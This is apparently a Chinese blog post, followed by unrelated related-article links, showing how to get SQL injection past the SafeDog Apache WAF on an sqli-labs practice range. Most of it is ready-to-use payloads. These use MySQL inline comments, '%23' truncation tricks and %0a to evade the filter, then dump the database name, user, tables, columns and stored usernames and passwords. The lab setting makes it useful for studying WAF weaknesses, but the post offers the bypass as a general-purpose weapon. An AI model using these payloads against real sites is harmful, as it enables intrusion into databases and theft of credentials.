前言

在记忆里上次绕安全狗还是在上次,开开心心把自己之前绕过狗的payload拿出来,发现全部被拦截了,事情一下子就严肃起来了,这就开整。

环境

本次环境如下sqli-lab的sql注入靶场
网站安全狗APACHE版V4.0版本的最高防护等级

绕过方法

首先先来分析分析以前以前绕过的Payload

-1' union/*!10440*/select 1,2,3--+

其中这里的10440数字经过fuzz可以替换的有如下

10440–10449 13440-13449 14400-14499 15440-15449 16440-16449 17440-17449 18440-18449 等等

但是在更新后的安全狗后这些payload已经全部被拦截

到这就不得不提提安全狗之前的匹配规则了,我们单独union不会被拦截

单独select也不会被拦截

但是union和select放一起组合就会被匹配出来,然后被安全狗所拦截

基于这个特性,我们利用之前的payload

-1' union/*!10440*/select 1,2,3--+

是可以绕过老版本的安全狗的,这里在union和select中间加入了一个/\*!10440\*/,众所周知在mysql中/\*!...\*/不是注释,mysql为了保持兼容,它把一些特有的仅在mysql上用的语句放在/\*!...\*/中,这样这些语句如果在其他数据库中是不会被执行,但在mysql中它会执行

所以union/\*!10440\*/select等价于union select,且绕过了安全狗对union和select字符一起组合的检测

但是安全狗更新之后,所有的payload都已经失效,那么我们猜测一下,安全狗更新后是不是匹配union和select之间所有的字符,匹配到之后用空字符替换,再检测是否存在union select组合,为了验证这个猜测我们对我们的payload进行fuzz验证一下

跑了一些特殊的字符发现都被拦截

但是唯独有一个符号没有被返回的length长度不一样

按我们看看这个'#'会擦出什么爱情的火花

我们利用如下语句

?id=-1' union/*!test01#test02*/select 1,2,3--+

此处我们搞清楚一个流程,我们的语句发送过去,首先接收安全狗检测,安全狗检测到'#'号,所以'\#'后面的都会被截断抛弃,所以安全狗只能匹配到'\#'前的union,但是没匹配到'\#'后的select,所以通过安全狗。在通过安全狗后我们的语句被数据库接收,数据库此处处理过程和安全狗处理流程一样,都是只能匹配到'\#'前的union,但是没匹配到'\#'后的select,最终导致语句不完整导致最后的报错。

说到这里我们究竟要怎么去绕过这个可恶的安全狗呢,我们想象这么一个场景,首先我们的'\#'被安全狗识别,但是在我们的SQL语句中并不识别这个'\#',这样我们就可以达到绕过安全狗而且保持正确的SQL语句来实现我么的注入。

我们来看下下面两语句

SELECT * FROM number WHERE home_id =1 LIKE "[%23]";
SELECT * FROM number WHERE home_id =1 LIKE "[%23]" union select * FROM number;

此处SELECT * FROM number WHERE home_id =1 LIKE "[%23]";查出来一个空表

所以SELECT * FROM number WHERE home_id =1 LIKE "[%23]" union select * FROM number;相当于select * FROM number;

该语句是存在一个LIKE "[%23]",也正是这个LIKE "[%23]"让我们的SELECT * FROM number WHERE home_id =1成为一个空表。

那么这个语句有什么用的,可以发现我们的LIKE "[%23]"中有一个%23,众所周知\#的url编码是%23,那么这条语句带入到安全狗中,安全狗会不会识别这个\#呢,带着这样的猜想我们构造如下payload。

-1' like "[%23]" /*!10440union select*/ 1,2,3 --+

呜呜呜,还是被拦截了,吹牛逼吹了这么久,白吹了。

但是我这种阳光、帅气、善解人意且坚持不懈的小伙子会这么容易就放弃吗,显然不会,后面猜测是/\*!10440union select\*/中的union select被检测出来了,所以在union select中间下了点功夫,最终payload如下

-1' like "[%23]" /*!10440union%0aselect*/ 1,2,3 --+

奈何无文化,一句卧槽走天下。

最后总结下安全狗的检测机制

首先整体语句做一个检测,这个检测也是最强最牛X的

'\#'后的语句虽然被截断,但截断之后并不是和我们最初想的那样完全不检测,'\#'截断的语句还是会被检测,只是检测规则相比第一次不同且相比第一次检测强度相比较弱,所以我们可以对其进行绕过。

当然除了like关键字,我们还可以使用如下payload

-1' or "[%23]" /*!10440union%0aselect*/ 1,2,3 --+
-1' regexp "[%23]" /*!10440union%0aselect*/ 1,2,3 --+
-1' /*%23*/ /*!10440union%0aselect*/ 1,2,3 --+

知道了这个特性接下来就,那就用这一招打过天下无敌手

爆数据库名和用户名

-1' like "[%23]" /*!10440union%0aselect*/ 1,database(/*!10440%0a*/),user(/*!10440%0a*/)--+

爆表名

-1' like "[%23]" /*!10440union%0aselect*/ 1,database(/*!10440%0a*/),group_concat(table_name) from/*%23*/information_schema.tables where table_schema=database(/*!10440%0a*/)--+

爆字段

-1' like "[%23]" /*!10440union%0aselect*/ 1,database(/*!10440%0a*/),group_concat(column_name) from/*%23*/information_schema.columns where table_schema=database(/*!10440%0a*/) /*!10440and*/ table_name='users'--+

爆字段中的值

-1' like "[%23]" /*!10440union%0aselect*/ 1,database(/*!10440%0a*/),group_concat(username,password) from users--+

总结

1、内联yyds

2、在一些被拦截的地方多用/\*%23\*/和/\*!10440%0a\*/,有奇效。

什么,有狗快跑!慢着,这次手把手教你怎么过安全狗!(sql注入篇)的更多相关文章

  1. 我的第一款Cocos2d 游戏小狗快跑基本完成

  2. 【python游戏编程之旅】第九篇---嗷大喵快跑小游戏开发实例

    本系列博客介绍以python+pygame库进行小游戏的开发.有写的不对之处还望各位海涵. 前几期博客我们一起学习了,pygame中的冲突检测技术以及一些常用的数据结构. 这次我们来一起做一个简单的酷 ...

  3. 原创跑酷小游戏《Cube Duck Run》 - - 方块鸭快跑

    自从unity5出来才开始关注unity,业余时间尝试做了个小游戏: <方块鸭快跑> (Cube Duck Run) 像素风,3d视角,色彩明快,有无尽和关卡两种模式. 应用连接: goo ...

  4. LYK 快跑!(LYK别打我-)(话说LYK是谁)

    LYK 快跑!(run) Time Limit:5000ms Memory Limit:64MB 题目描述 LYK 陷进了一个迷宫! 这个迷宫是网格图形状的. LYK 一开始在(1,1)位置, 出口在 ...

  5. LYK 快跑!(run)

    LYK 快跑!(run)Time Limit:5000ms Memory Limit:64MB[题目描述] LYK 陷进了一个迷宫! 这个迷宫是网格图形状的. LYK 一开始在(1,1)位置, 出口在 ...

  6. Cocos2dx系列笔记7:一个简单的跑酷游戏《萝莉快跑》的消化(附下载)

    懒骨头(http://blog.csdn.com/iamlazybone) 或许有天 我们羡慕和崇拜的人 因为我们的努力 也会来了解我们 说不定 还会成为好友 骨头喜欢这样与哲哲共勉 多少个夜晚 一张 ...

  7. canvas小程序-快跑程序员

    canvas不用说html5带来的好东西,游戏什么的,么么哒 记得有一天玩手机游戏,就是一个跳跃过柱子那种,其实元素很简单啊,app能开发,借助html5 canvas也可以啊, 于是就开始了. -- ...

  8. 小步快跑的公司可以最简化操作直接通过log4net将日志写入ElasticSearch

     很多小步快跑的公司,开发人员多则3-4个,面对巨大业务压力,日连夜的赶着上线,快速试错,自然就没时间搭建一些基础设施,比如说logCenter,但初期 项目不稳定,bug又多,每次都跑到生产去找日志 ...

  9. 神龟快跑,2016做的一款UWP游戏

    神龟快跑,2016做的一款UWP游戏, 实际是H5页面, 用LAYA转AS3得到的 安装地址 https://www.microsoft.com/zh-cn/store/p/神龟快跑/9nblggh4 ...

随机推荐

  1. 基础概念(1):cc是什么

    cc是什么? "人和程序,有一个能跑就行",意思是上班写代码,要么程序运行起来,要么人滚蛋.程序怎么才能运行起来呢?先要写出来,再编译成可执行的二进制,之后就可以跑起来了.这里重要 ...

  2. [一]Cesium利其器——Visual Studio Code

    Cesium中文网:http://cesiumcn.org/ | 国内快速访问:http://cesium.coinidea.com/ IDE Web前端刚入门的朋友,常常想选择一个快速.好用.流行( ...

  3. 搭建服务器之DNS

    DNS服务器,实用软件为bind,服务守护进程为named,一下记录一下自己的搭建过程: 1.yum install bind*  其中包括bind本身软件,测试dns的一些工具dig,nslooku ...

  4. 微信小程序入门教程之四:API 使用

    今天是这个系列教程的最后一篇. 上一篇教程介绍了,小程序页面如何使用 JavaScript 脚本.有了脚本以后,就可以调用微信提供的各种能力(即微信 API),从而做出千变万化的页面.本篇就介绍怎么使 ...

  5. 【Azure 应用服务】Azure Mobile App (NodeJS) 的服务端部署在App Service for Windows中出现404 Not Found -- The resource you are looking for has been removed, had its name changed, or is temporarily unavailable.

    问题描述 使用NodeJS的后端应用,开发一个Mobile App的服务端,手机端通过REST API来访问获取后端数据.在本地编译好后,通过npm start启动项目,访问效果如下: 但是,当把项目 ...

  6. 大厂面试:一个四年多经验程序员的BAT面经(字节、阿里、腾讯)

    前言 上次写了篇欢聚时代的面经,公众号后台有些读者反馈说看的意犹未尽,希望我尽快更新其他大厂的面经,这里先说声抱歉,不是我太懒,而是项目组刚好有个活动要赶在春节前上线,所以这几天经常加班,只能工作之余 ...

  7. 微服务探索之路03篇-docker私有仓库Harbor搭建+Kubernetes(k8s)部署私有仓库的镜像

    ❝ 目录: 微服务探索之路01篇.net6.0项目本地win10系统docker到服务器liunx系统docker的贯通 微服务探索之路02篇liunx ubuntu服务器部署k8s(kubernet ...

  8. mybatis 配置文件 简单介绍

    配置文件? 一. properties属性:可以引入外部的属性文件,可以自定义属性信息,供后续的节点使用: 注意!外部文件 定义在SRC目录下 否则找不到资源.二. settings设置:全局的配置信 ...

  9. JVM学习十 -(复习)内存分配与回收策略

    内存分配与回收策略 对象的内存分配,就是在堆上分配(也可能经过 JIT 编译后被拆散为标量类型并间接在栈上分配),对象主要分配在新生代的 Eden 区上,少数情况下可能直接分配在老年代,分配规则不固定 ...

  10. MySQL的注释方法

    MySQL的三种注释方式 #1.单行注释 -- 2.单行注释(注意中间要带有一个空格才能生效) /*3.多行注释*/